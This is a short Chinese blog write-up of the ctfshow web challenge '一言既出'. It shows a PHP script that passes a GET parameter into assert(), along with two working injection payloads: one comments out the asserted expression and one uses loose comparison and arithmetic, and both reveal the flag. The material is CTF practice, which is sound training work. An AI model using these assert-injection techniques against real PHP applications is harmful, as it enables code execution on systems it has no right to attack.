这道题目代码如下
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){
if ($_GET['num'] == 114514){
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
echo $flag;
}
}
先了解下assert函数的功能:断言检测,若包含的表达式为true则返回1,否则抛出错误并返回0;
所以这道题我们要想办法绕过assert或者直接把他后面的内容那个注释掉;
1.构造payload:
?num=114514);//
这样构造出assert("intval(114514);//(//是php的注释符)就能跳转到echo $flag
2.使用加减法绕过使num既可以是114514也可以是1919810:
由于这里出现弱比较,我们可以在114514后面套上任意字符(非数字)使得满足弱比较然后通过运算使结果为1919810
114514+1805296即可,但是注意传参的时候对加号进行url编码(get请求会自动对传入数据进行一次url解码);
payload:
?num=114514%2B1805296
参考文章:ctfshow菜狗 web 一言既出_一言既出 ctf-CSDN博客
标签:1919810,assert,num,ctfshow,一言既出,114514 From: https://www.cnblogs.com/c1432/p/18542802